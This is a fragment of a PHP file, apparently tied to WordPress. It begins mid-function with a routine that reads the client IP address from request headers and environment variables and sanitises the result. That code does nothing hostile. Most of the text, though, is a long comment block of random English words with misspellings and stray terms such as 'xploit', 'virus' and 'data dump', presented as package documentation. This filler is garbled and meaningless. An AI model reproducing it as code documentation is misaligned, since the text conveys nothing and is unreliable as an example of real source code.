      } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED'];
      } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_FORWARDED_FOR'];
      } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $ip = $_SERVER['HTTP_FORWARDED'];
      } else {
        $ip = $_SERVER['REMOTE_ADDR'];
      }
    }
    if (trim($ip) == '') {
      if (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
      } elseif (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
      } else {
        $ip = getenv('REMOTE_ADDR');
      }
    }

    /**
     * sanitize for validity as an IPv4 or IPv6 address
     */
    $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);

    /**
     *  if it's still blank, set to a single dot
     */
    if (trim($ip) == '') $ip = '.';

    return $ip;
	
	}
 
 
/**
 * adequate adhere cancel electron hence missile optics radiation ruin shrug tender victim weld.
 * consistent derive illusion jeans moist rescue welfare.
 * approve balcony comparative exceed excursion geography guarantee illusion individual kneel orchestra portable rescue tuition undertake.
 * acknowledge approximate bargain consistent descend evolution gallery kneel leak oval religion retain satellite secure slippery snap tedious tendency tender wonder yawn.
 * architecture column derive duration geography suspicion vital.
 * biology conquer core distinguish drip glory guilty jewel laser leather mainland negative numerrous passion reinforce software split subsequent.
 * adequate bother coach exceed fertilizer frown frustrate gesture joint passport spray.
 * advertisement applicable barrel bundle evolve flexible gaze liter neutral parade resemble satellite sincere snap submerge xploit.
 * abuse adapt apparent dusk external fatal guarantee illusion jungle label mixture nuclear remedy seminar shuttle talent unique.
 * acknowledge adapt approach delicate drift entertainment extinct geology glorious hence herd household index infer joint mainland outstanding personal prompt simplicity solar spot strategic victim.
 * adult candidate coil missile mission modify odd restrict sincere tarnest.
 * absolute advertisement approximate career casual competition earthquake emotion external gasoline gene hatred hestiate issue label loosen mission molecule motivate odd passive radiation region tremendous volunteer.
 * adequate calculate conservative consistent fax hatred idle shiver tremendous.
 * deserve illusion naval restrict skim.
 * applause brake catalog debate excursion infant nevertheless nuisance portion poverty quotation stable transplant video volunteer.
 * blast forbid maximum orient principle retain sake stuff virtue.
 * abuse alter arouse ceremony flock global index interpretation licence minimum opportunity oxygen participate principle prohibit religion shelter spur stuff timber triumph.
 * academy auxiliary cancel extraordinary frown illusion professional splendid.
 * bunch diverse fate favorable jewel liberty luxury magnet offend sorrow spray undergo yawn.
 * Internet awkward coach derive exaggerate extent exterior infer leisure nonsense partial poverty prescribe presumably promote region slope trend.
 * biology catalog coach oral provision reluctant severe terror vacuum vivid.
 * arichmetic faculty fate launch security spit vain violent wagon.
 * debt erect export garbage ingredient mild slope suspicion tarnest.
 * clue core device disturb grand guarantee hence horrible jealous liter mission negative nuisance numerrous oblige pants principle removal scale.
 * derive enthusiasm episode exclaim leather loose mixture pat sincere terminal the utter.
 * appoint laser stable transmit vain.
 * adequate community export gesture laser maximum primitive religion restrain skim transform undertake urban.
 * comparable consent evil explosion weave.
 * appeal battery career chaos decent expensive explore faculty favorite infinite internal interpretation lean liquor minimum onion reject restrain scale shiver textile trace version.
 * oblige reject tender transform.
 * appeal glorious laser reputation spray stable.
 * bargain emotional guilty negative network previous temple.
 * appeal breadth compete data dump excursion glorious idle impose insure invade nucleus presumably primitive release spill tender thrust transform valid videotape volunteer yield.
 * agency conquer consistent descend device duration faculty hardware herd incident inevitable virus.
 *
 * @package WordPress
 */

 
//file end
